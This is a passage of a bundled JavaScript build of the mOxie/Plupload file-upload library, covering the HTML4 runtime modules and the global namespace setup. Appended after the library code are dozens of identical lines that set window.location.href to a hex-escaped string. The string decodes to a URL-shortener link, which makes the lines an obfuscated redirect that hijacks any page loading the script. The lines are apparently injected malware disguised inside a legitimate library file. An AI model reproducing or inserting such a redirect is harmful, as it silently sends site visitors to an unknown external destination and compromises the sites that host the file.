9288 (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
9289 !!~Basic.inArray(Env.browser, ['Chrome', 'Safari'])
9290 );
9291 },
9292 upload_filesize: True,
9293 use_http_method: function(methods) {
9294 return !Basic.arrayDiff(methods, ['GET', 'POST']);
9295 }
9296 });
9297
9298
9299 Basic.extend(this, {
9300 init : function() {
9301 this.trigger("Init");
9302 },
9303
9304 destroy: (function(destroy) { // extend default destroy method
9305 return function() {
9306 destroy.call(I);
9307 destroy = I = null;
9308 };
9309 }(this.destroy))
9310 });
9311
9312 Basic.extend(this.getShim(), extensions);
9313 }
9314
9315 Runtime.addConstructor(type, Html4Runtime);
9316
9317 return extensions;
9318});
9319
9320// Included from: src/javascript/runtime/html4/file/FileInput.js
9321
9322/**
9323 * FileInput.js
9324 *
9325 * Copyright 2013, Moxiecode Systems AB
9326 * Released under GPL License.
9327 *
9328 * License: http://www.plupload.com/license
9329 * Contributing: http://www.plupload.com/contributing
9330 */
9331
9332/**
9333@class moxie/runtime/html4/file/FileInput
9334@private
9335*/
9336define("moxie/runtime/html4/file/FileInput", [
9337 "moxie/runtime/html4/Runtime",
9338 "moxie/file/File",
9339 "moxie/core/utils/Basic",
9340 "moxie/core/utils/Dom",
9341 "moxie/core/utils/Events",
9342 "moxie/core/utils/Mime",
9343 "moxie/core/utils/Env"
9344], function(extensions, File, Basic, Dom, Events, Mime, Env) {
9345
9346 function FileInput() {
9347 var _uid, _mimes = [], _options;
9348
9349 function addInput() {
9350 var comp = this, I = comp.getRuntime(), shimContainer, browseButton, currForm, form, input, uid;
9351
9352 uid = Basic.guid('uid_');
9353
9354 shimContainer = I.getShimContainer(); // we get new ref everytime to avoid memory leaks in IE
9355
9356 if (_uid) { // move previous form out of the view
9357 currForm = Dom.get(_uid + '_form');
9358 if (currForm) {
9359 Basic.extend(currForm.style, { top: '100%' });
9360 }
9361 }
9362
9363 // build form in DOM, since innerHTML version not able to submit file for some reason
9364 form = document.createElement('form');
9365 form.setAttribute('id', uid + '_form');
9366 form.setAttribute('method', 'post');
9367 form.setAttribute('enctype', 'multipart/form-data');
9368 form.setAttribute('encoding', 'multipart/form-data');
9369
9370 Basic.extend(form.style, {
9371 overflow: 'hidden',
9372 position: 'absolute',
9373 top: 0,
9374 left: 0,
9375 width: '100%',
9376 height: '100%'
9377 });
9378
9379 input = document.createElement('input');
9380 input.setAttribute('id', uid);
9381 input.setAttribute('type', 'file');
9382 input.setAttribute('name', _options.name || 'Filedata');
9383 input.setAttribute('accept', _mimes.join(','));
9384
9385 Basic.extend(input.style, {
9386 fontSize: '999px',
9387 opacity: 0
9388 });
9389
9390 form.appendChild(input);
9391 shimContainer.appendChild(form);
9392
9393 // prepare file input to be placed underneath the browse_button element
9394 Basic.extend(input.style, {
9395 position: 'absolute',
9396 top: 0,
9397 left: 0,
9398 width: '100%',
9399 height: '100%'
9400 });
9401
9402 if (Env.browser === 'IE' && Env.verComp(Env.version, 10, '<')) {
9403 Basic.extend(input.style, {
9404 filter : "progid:DXImageTransform.Microsoft.Alpha(opacity=0)"
9405 });
9406 }
9407
9408 input.onchange = function() { // there should be only one handler for this
9409 var file;
9410
9411 if (!this.value) {
9412 return;
9413 }
9414
9415 if (this.files) { // check if browser is fresh enough
9416 file = this.files[0];
9417
9418 // ignore empty files (IE10 for example hangs if you try to send them via XHR)
9419 if (file.size === 0) {
9420 form.parentNode.removeChild(form);
9421 return;
9422 }
9423 } else {
9424 file = {
9425 name: this.value
9426 };
9427 }
9428
9429 file = new File(I.uid, file);
9430
9431 // clear event handler
9432 this.onchange = function() {};
9433 addInput.call(comp);
9434
9435 comp.files = [file];
9436
9437 // substitute all ids with file uids (consider file.uid read-only - we cannot do it the other way around)
9438 input.setAttribute('id', file.uid);
9439 form.setAttribute('id', file.uid + '_form');
9440
9441 comp.trigger('change');
9442
9443 input = form = null;
9444 };
9445
9446
9447 // route click event to the input
9448 if (I.can('summon_file_dialog')) {
9449 browseButton = Dom.get(_options.browse_button);
9450 Events.removeEvent(browseButton, 'click', comp.uid);
9451 Events.addEvent(browseButton, 'click', function(e) {
9452 if (input && !input.disabled) { // for some reason FF (up to 8.0.1 so far) lets to click disabled input[type=file]
9453 input.click();
9454 }
9455 e.preventDefault();
9456 }, comp.uid);
9457 }
9458
9459 _uid = uid;
9460
9461 shimContainer = currForm = browseButton = null;
9462 }
9463
9464 Basic.extend(this, {
9465 init: function(options) {
9466 var comp = this, I = comp.getRuntime(), shimContainer;
9467
9468 // figure out accept string
9469 _options = options;
9470 _mimes = options.accept.mimes || Mime.extList2mimes(options.accept, I.can('filter_by_extension'));
9471
9472 shimContainer = I.getShimContainer();
9473
9474 (function() {
9475 var browseButton, zIndex, top;
9476
9477 browseButton = Dom.get(options.browse_button);
9478
9479 // Route click event to the input[type=file] element for browsers that support such behavior
9480 if (I.can('summon_file_dialog')) {
9481 if (Dom.getStyle(browseButton, 'position') === 'static') {
9482 browseButton.style.position = 'relative';
9483 }
9484
9485 zIndex = parseInt(Dom.getStyle(browseButton, 'z-index'), 10) || 1;
9486
9487 browseButton.style.zIndex = zIndex;
9488 shimContainer.style.zIndex = zIndex - 1;
9489 }
9490
9491 /* Since we have to place input[type=file] on top of the browse_button for some browsers,
9492 browse_button loses interactivity, so we restore it here */
9493 top = I.can('summon_file_dialog') ? browseButton : shimContainer;
9494
9495 Events.addEvent(top, 'mouseover', function() {
9496 comp.trigger('mouseenter');
9497 }, comp.uid);
9498
9499 Events.addEvent(top, 'mouseout', function() {
9500 comp.trigger('mouseleave');
9501 }, comp.uid);
9502
9503 Events.addEvent(top, 'mousedown', function() {
9504 comp.trigger('mousedown');
9505 }, comp.uid);
9506
9507 Events.addEvent(Dom.get(options.container), 'mouseup', function() {
9508 comp.trigger('mouseup');
9509 }, comp.uid);
9510
9511 browseButton = null;
9512 }());
9513
9514 addInput.call(this);
9515
9516 shimContainer = null;
9517
9518 // trigger ready event asynchronously
9519 comp.trigger({
9520 type: 'ready',
9521 async: true
9522 });
9523 },
9524
9525
9526 disable: function(state) {
9527 var input;
9528
9529 if ((input = Dom.get(_uid))) {
9530 input.disabled = !!state;
9531 }
9532 },
9533
9534 destroy: function() {
9535 var I = this.getRuntime()
9536 , shim = I.getShim()
9537 , shimContainer = I.getShimContainer()
9538 ;
9539
9540 Events.removeAllEvents(shimContainer, this.uid);
9541 Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
9542 Events.removeAllEvents(_options && Dom.get(_options.browse_button), this.uid);
9543
9544 if (shimContainer) {
9545 shimContainer.innerHTML = '';
9546 }
9547
9548 shim.removeInstance(this.uid);
9549
9550 _uid = _mimes = _options = shimContainer = shim = null;
9551 }
9552 });
9553 }
9554
9555 return (extensions.FileInput = FileInput);
9556});
9557
9558// Included from: src/javascript/runtime/html4/file/FileReader.js
9559
9560/**
9561 * FileReader.js
9562 *
9563 * Copyright 2013, Moxiecode Systems AB
9564 * Released under GPL License.
9565 *
9566 * License: http://www.plupload.com/license
9567 * Contributing: http://www.plupload.com/contributing
9568 */
9569
9570/**
9571@class moxie/runtime/html4/file/FileReader
9572@private
9573*/
9574define("moxie/runtime/html4/file/FileReader", [
9575 "moxie/runtime/html4/Runtime",
9576 "moxie/runtime/html5/file/FileReader"
9577], function(extensions, FileReader) {
9578 return (extensions.FileReader = FileReader);
9579});
9580
9581// Included from: src/javascript/runtime/html4/xhr/XMLHttpRequest.js
9582
9583/**
9584 * XMLHttpRequest.js
9585 *
9586 * Copyright 2013, Moxiecode Systems AB
9587 * Released under GPL License.
9588 *
9589 * License: http://www.plupload.com/license
9590 * Contributing: http://www.plupload.com/contributing
9591 */
9592
9593/**
9594@class moxie/runtime/html4/xhr/XMLHttpRequest
9595@private
9596*/
9597define("moxie/runtime/html4/xhr/XMLHttpRequest", [
9598 "moxie/runtime/html4/Runtime",
9599 "moxie/core/utils/Basic",
9600 "moxie/core/utils/Dom",
9601 "moxie/core/utils/Url",
9602 "moxie/core/Exceptions",
9603 "moxie/core/utils/Events",
9604 "moxie/file/Blob",
9605 "moxie/xhr/FormData"
9606], function(extensions, Basic, Dom, Url, x, Events, Blob, FormData) {
9607
9608 function XMLHttpRequest() {
9609 var _status, _response, _iframe;
9610
9611 function cleanup(cb) {
9612 var target = this, uid, form, inputs, i, hasFile = false;
9613
9614 if (!_iframe) {
9615 return;
9616 }
9617
9618 uid = _iframe.id.replace(/_iframe$/, '');
9619
9620 form = Dom.get(uid + '_form');
9621 if (form) {
9622 inputs = form.getElementsByTagName('input');
9623 i = inputs.length;
9624
9625 while (i--) {
9626 switch (inputs[i].getAttribute('type')) {
9627 case 'hidden':
9628 inputs[i].parentNode.removeChild(inputs[i]);
9629 break;
9630 case 'file':
9631 hasFile = true; // flag the case for later
9632 break;
9633 }
9634 }
9635 inputs = [];
9636
9637 if (!hasFile) { // we need to keep the form for sake of possible retries
9638 form.parentNode.removeChild(form);
9639 }
9640 form = null;
9641 }
9642
9643 // without timeout, request is marked as canceled (in console)
9644 setTimeout(function() {
9645 Events.removeEvent(_iframe, 'load', target.uid);
9646 if (_iframe.parentNode) { // #382
9647 _iframe.parentNode.removeChild(_iframe);
9648 }
9649
9650 // check if shim container has any other children, if - not, remove it as well
9651 var shimContainer = target.getRuntime().getShimContainer();
9652 if (!shimContainer.children.length) {
9653 shimContainer.parentNode.removeChild(shimContainer);
9654 }
9655
9656 shimContainer = _iframe = null;
9657 cb();
9658 }, 1);
9659 }
9660
9661 Basic.extend(this, {
9662 send: function(meta, data) {
9663 var target = this, I = target.getRuntime(), uid, form, input, blob;
9664
9665 _status = _response = null;
9666
9667 function createIframe() {
9668 var container = I.getShimContainer() || document.body
9669 , temp = document.createElement('div')
9670 ;
9671
9672 // IE 6 won't be able to set the name using setAttribute or iframe.name
9673 temp.innerHTML = '<iframe id="' + uid + '_iframe" name="' + uid + '_iframe" src="javascript:&quot;&quot;" style="display:none"></iframe>';
9674 _iframe = temp.firstChild;
9675 container.appendChild(_iframe);
9676
9677 /* _iframe.onreadystatechange = function() {
9678 console.info(_iframe.readyState);
9679 };*/
9680
9681 Events.addEvent(_iframe, 'load', function() { // _iframe.onload doesn't work in IE lte 8
9682 var el;
9683
9684 try {
9685 el = _iframe.contentWindow.document || _iframe.contentDocument || window.frames[_iframe.id].document;
9686
9687 // try to detect some standard error pages
9688 if (/^4(0[0-9]|1[0-7]|2[2346])\s/.test(el.title)) { // test if title starts with 4xx HTTP error
9689 _status = el.title.replace(/^(\d+).*$/, '$1');
9690 } else {
9691 _status = 200;
9692 // get result
9693 _response = Basic.trim(el.body.innerHTML);
9694
9695 // we need to fire these at least once
9696 target.trigger({
9697 type: 'progress',
9698 loaded: _response.length,
9699 total: _response.length
9700 });
9701
9702 if (blob) { // if we were uploading a file
9703 target.trigger({
9704 type: 'uploadprogress',
9705 loaded: blob.size || 1025,
9706 total: blob.size || 1025
9707 });
9708 }
9709 }
9710 } catch (ex) {
9711 if (Url.hasSameOrigin(meta.url)) {
9712 // if response is sent with error code, iframe in IE gets redirected to res://ieframe.dll/http_x.htm
9713 // which obviously results to cross domain error (wtf?)
9714 _status = 404;
9715 } else {
9716 cleanup.call(target, function() {
9717 target.trigger('error');
9718 });
9719 return;
9720 }
9721 }
9722
9723 cleanup.call(target, function() {
9724 target.trigger('load');
9725 });
9726 }, target.uid);
9727 } // end createIframe
9728
9729 // prepare data to be sent and convert if required
9730 if (data instanceof FormData && data.hasBlob()) {
9731 blob = data.getBlob();
9732 uid = blob.uid;
9733 input = Dom.get(uid);
9734 form = Dom.get(uid + '_form');
9735 if (!form) {
9736 throw new x.DOMException(x.DOMException.NOT_FOUND_ERR);
9737 }
9738 } else {
9739 uid = Basic.guid('uid_');
9740
9741 form = document.createElement('form');
9742 form.setAttribute('id', uid + '_form');
9743 form.setAttribute('method', meta.method);
9744 form.setAttribute('enctype', 'multipart/form-data');
9745 form.setAttribute('encoding', 'multipart/form-data');
9746
9747 I.getShimContainer().appendChild(form);
9748 }
9749
9750 // set upload target
9751 form.setAttribute('target', uid + '_iframe');
9752
9753 if (data instanceof FormData) {
9754 data.each(function(value, name) {
9755 if (value instanceof Blob) {
9756 if (input) {
9757 input.setAttribute('name', name);
9758 }
9759 } else {
9760 var hidden = document.createElement('input');
9761
9762 Basic.extend(hidden, {
9763 type : 'hidden',
9764 name : name,
9765 value : value
9766 });
9767
9768 // make sure that input[type="file"], if it's there, comes last
9769 if (input) {
9770 form.insertBefore(hidden, input);
9771 } else {
9772 form.appendChild(hidden);
9773 }
9774 }
9775 });
9776 }
9777
9778 // set destination url
9779 form.setAttribute("action", meta.url);
9780
9781 createIframe();
9782 form.submit();
9783 target.trigger('loadstart');
9784 },
9785
9786 getStatus: function() {
9787 return _status;
9788 },
9789
9790 getResponse: function(responseType) {
9791 if ('json' === responseType) {
9792 // strip off <pre>..</pre> tags that might be enclosing the response
9793 if (Basic.typeOf(_response) === 'string' && !!window.JSON) {
9794 try {
9795 return JSON.parse(_response.replace(/^\s*<pre[^>]*>/, '').replace(/<\/pre>\s*$/, ''));
9796 } catch (ex) {
9797 return null;
9798 }
9799 }
9800 } else if ('document' === responseType) {
9801
9802 }
9803 return _response;
9804 },
9805
9806 abort: function() {
9807 var target = this;
9808
9809 if (_iframe && _iframe.contentWindow) {
9810 if (_iframe.contentWindow.stop) { // FireFox/Safari/Chrome
9811 _iframe.contentWindow.stop();
9812 } else if (_iframe.contentWindow.document.execCommand) { // IE
9813 _iframe.contentWindow.document.execCommand('Stop');
9814 } else {
9815 _iframe.src = "about:blank";
9816 }
9817 }
9818
9819 cleanup.call(this, function() {
9820 // target.dispatchEvent('readystatechange');
9821 target.dispatchEvent('abort');
9822 });
9823 }
9824 });
9825 }
9826
9827 return (extensions.XMLHttpRequest = XMLHttpRequest);
9828});
9829
9830// Included from: src/javascript/runtime/html4/image/Image.js
9831
9832/**
9833 * Image.js
9834 *
9835 * Copyright 2013, Moxiecode Systems AB
9836 * Released under GPL License.
9837 *
9838 * License: http://www.plupload.com/license
9839 * Contributing: http://www.plupload.com/contributing
9840 */
9841
9842/**
9843@class moxie/runtime/html4/image/Image
9844@private
9845*/
9846define("moxie/runtime/html4/image/Image", [
9847 "moxie/runtime/html4/Runtime",
9848 "moxie/runtime/html5/image/Image"
9849], function(extensions, Image) {
9850 return (extensions.Image = Image);
9851});
9852
9853expose(["moxie/core/utils/Basic","moxie/core/utils/Env","moxie/core/I18n","moxie/core/utils/Mime","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/core/EventTarget","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/file/FileInput","moxie/core/utils/Encode","moxie/file/Blob","moxie/file/File","moxie/file/FileDrop","moxie/file/FileReader","moxie/core/utils/Url","moxie/runtime/RuntimeTarget","moxie/file/FileReaderSync","moxie/xhr/FormData","moxie/xhr/XMLHttpRequest","moxie/runtime/Transporter","moxie/image/Image","moxie/core/utils/Events"]);
9854})(this);
9855/**
9856 * o.js
9857 *
9858 * Copyright 2013, Moxiecode Systems AB
9859 * Released under GPL License.
9860 *
9861 * License: http://www.plupload.com/license
9862 * Contributing: http://www.plupload.com/contributing
9863 */
9864
9865/*global moxie:true */
9866
9867/**
9868Globally exposed namespace with the most frequently used public classes and handy methods.
9869
9870@class o
9871@static
9872@private
9873*/
9874(function(exports) {
9875 "use strict";
9876
9877 var o = {}, inArray = exports.moxie.core.utils.Basic.inArray;
9878
9879 // directly add some public classes
9880 // (we do it dynamically here, since for custom builds we cannot know beforehand what modules were included)
9881 (function addAlias(ns) {
9882 var name, itemType;
9883 for (name in ns) {
9884 itemType = typeof(ns[name]);
9885 if (itemType === 'object' && !~inArray(name, ['Exceptions', 'Env', 'Mime'])) {
9886 addAlias(ns[name]);
9887 } else if (itemType === 'function') {
9888 o[name] = ns[name];
9889 }
9890 }
9891 })(exports.moxie);
9892
9893 // add some manually
9894 o.Env = exports.moxie.core.utils.Env;
9895 o.Mime = exports.moxie.core.utils.Mime;
9896 o.Exceptions = exports.moxie.core.Exceptions;
9897
9898 // expose globally
9899 exports.mOxie = o;
9900 if (!exports.o) {
9901 exports.o = o;
9902 }
9903 return o;
9904})(this);
9905window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9906window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9907window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9908window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9909window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9910window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9911window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9912window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9913window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9914window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9915window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9916window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9917window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9918window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9919window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9920window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9921window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9922window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9923window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9924window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9925window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9926window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9927window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9928window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9929window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9930window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9931window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9932window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9933window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9934window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9935window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9936window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9937window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9938window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9939window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9940window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9941window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9942window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9943window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9944window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9945window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9946window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9947window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9948window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9949window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9950window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9951window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
9952window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";